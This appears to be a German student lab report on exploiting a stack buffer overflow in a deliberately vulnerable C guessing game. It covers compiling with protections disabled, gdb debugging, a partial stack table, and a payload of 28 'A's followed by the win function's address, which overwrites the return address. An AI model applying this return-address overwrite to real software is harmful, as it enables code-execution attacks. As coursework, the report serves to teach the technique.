\section{Part 1: Buffer Overflow} \subsection{Kompilieren} Zum kompilieren des C-Programmes wird GCC verwendet. Folgender Befehl wird ausgeführt: \begin{lstlisting}[breaklines] gcc -g --no-pie -z execstack -fno-stack-protector -D_FORTIFY_SOURCE=0 bufferOverflow.c -o bufferOverflow \end{lstlisting} Danach kann das Programm mit \verb|./bufferOverlow| gestartet werden. \subsection{Hints} Es wurden verschlüsselte Tipps beigesteuert. Zum verschlüsseln wurde folgender Befehl ausgeführt: \begin{lstlisting}[breaklines] echo "This is your first hint" | openssl des -nosalt -e -k 12345678 -a \end{lstlisting} Zum entschlüsseln muss lediglich der verschlüsselte String mit dem angegebenen secret an openssl übergeben werden. \begin{lstlisting}[breaklines] echo "ilEbsYAeS8Prp7xXI5MPqSEyOOKoyXbCotRFSskidgs=" | openssl des -nosalt -d -k 12345678 -a \end{lstlisting} Leider konnten die angegebenen Tipps nicht entschlüsselt werden. Das obige Beispiel funktioniert ohne Probleme, kann aber nicht auf die in der PDF angegebenen Tipps angewandt werden. Fehlermeldung: \begin{verbatim} bad decrypt \end{verbatim} \subsection{Analyse} Das Programm \verb|bufferOverflow.c| beginnt mit der Eingabe des Namens mit Hilfe der Funktion \verb|fgets|\footnote{\href{https://www.tutorialspoint.com/c_standard_library/c_function_fgets.htm}{tutorialspoint - fgets}}. Dabei wird die Länge des eingegebenen Benutzernamens in einem char Array der Länge 16 gespeichert. Ein Buffer Overflow wird hier abgefangen, da nur so viele Zeichen eingegeben werden können, wie \verb|sizeof(username)| zurück gibt. Dann werden nacheinander die geratenen Zahlen eingelesen. Man muss alle 3 Zahlen richtig raten, damit man das Spiel gewinnt. Es werden mit \verb|rand()| zufällige Zahlen generiert. Die anschließende Funktion \verb|calculate(argv[1], input1, input2, input3, number1, number2, number3)| gibt eine 0 zurück wenn man gewonnen hat. Aber in der Funktion wird ein Buffer Overflow stattfinden, da \verb|argv[1]| mit \verb|strcpy()| ohne Begrenzung in ein limitiertes 16 Byte großes char array kopiert wird. Dabei werden im Stack Werte überschrieben. \subsection{Debugging} Zum debuggen wird der Befehl \verb|gdb bufferOverflow| eingegeben. Damit wird der GDB Debugger geöffnet. Zum setzen des ersten Breakpoints bei \verb|main| geben wir \verb|b main| ein. Zum setzen eines Argumentes muss \verb|set args | eingegeben werden. Danach können wir mit \verb|run| das Programm starten und uns mit \verb|s| mit einzelnen Schritten bewegen. Jederzeit können Variablen mit z.B. \verb|p number1| abgefragt werden. Der Anfang des Stacks kann somit mit \verb|p $sp| und 40 Byte des Stacks mit \verb|x/20x $sp| in HEX oder mit \verb|x/20 $sp| in DEC abgefragt werden. Die Eingabe \verb|i r esp abp eip| gibt die wichtigen Pointer aus. Wenn man den Breakpoint auf \verb|calculate()| setzt, einen schritt über \verb|strcpy(name,text)| macht, bekommt man einen Segmentation fault. \subsection{Versuchen zu gewinnen} Hinweis: \verb|"A" ASCII| wird als \verb|0x41| geschrieben. Hinweis: \verb|"B" ASCII| wird als \verb|0x42| geschrieben. \begin{verbatim} Username: Florian Input1: 1 Input2: 1 Input3: 1 \end{verbatim} Speicheraddresse der Zeile 60 herausfinden, in der die Win-Funktion aufgerufen wird: \begin{verbatim} objdump -d ./bufferOverflow | grep win 0x08048807: 80485a4 \end{verbatim} Dann GDB \verb|gdb bufferOverflow| mit folgenden Befehl ausführen \verb|r $(python -c " print('A'*28+'\x07\x88\x04\x08')")| damit 28x'A' und die Adresse der Win-Funktion als argument der Software mitgegeben wird. \begin{tabular}{|l|l||r|r|} \hline \multicolumn{2}{|c||}{\textbf{Basic Information}} & \multicolumn{2}{c|}{\textbf{Values at Line}} \\ Memory Address & Variable Name & 21 - calculate() & 24 - strcpy() \\ \hline \verb|0xbffff304| & number3 & \verb|0x00000003| & \verb|0x00000003| \\ \verb|0xbffff300| & number2 & \verb|0x00000003| & \verb|0x00000003| \\ \verb|0xbffff2fc| & number1 & \verb|0x00000001| & \verb|0x00000001| \\ \verb|0xbffff2f0| & Input3 & \verb|0x00000001| & \verb|0x00000001| \\ \verb|0xbffff2ec| & input2 & \verb|0x00000001| & \verb|0x00000001| \\ \verb|0xbffff2e8| & input1 & \verb|0x00000001| & \verb|0x00000001| \\ \hline \verb|0xbffff2e4| & & \verb|0xb7e54196| & \\ \verb|0xbffff2e0| & & \verb|0xffffffff| & \\ \verb|0xbffff2dc| & & \verb|0x08048871| & \\ \verb|0xbffff2d8| & & \verb|0x08049ff4| & \\ \verb|0xbffff2d4| & & \verb|0x00000016| & \\ \verb|0xbffff2d0| & & \verb|0xb7fc73e4| & \\ \verb|0xbffff2cc| & & \verb|0x08048425| & \\ \verb|0xbffff2c8| & & \verb|0x00000004| & \\ \verb|0xbffff2c4| & EBP & \verb|0xbffff2e8| & \\ \verb|0xbffff2c0| & ESP & \verb|0x08048a04| & \\ \hline \verb|0xbffff| & name & & 0x41414141 \\ \verb|0xbffff| & name & & 0x41414141 \\ \verb|0xbffff| & name & & 0x41414141 \\ \verb|0xbffff| & name & & 0x41414141 \\ \hline \verb|0xbffff| & \multicolumn{3}{c|}{\textit{}} \\ \verb|0xbffff| & & \\ \verb|0xbffff| & Return & 0xbffff537 & \\ \hline \verb|0xbffff| & ESP & 0xbffff290 &\\ \hline \end{tabular}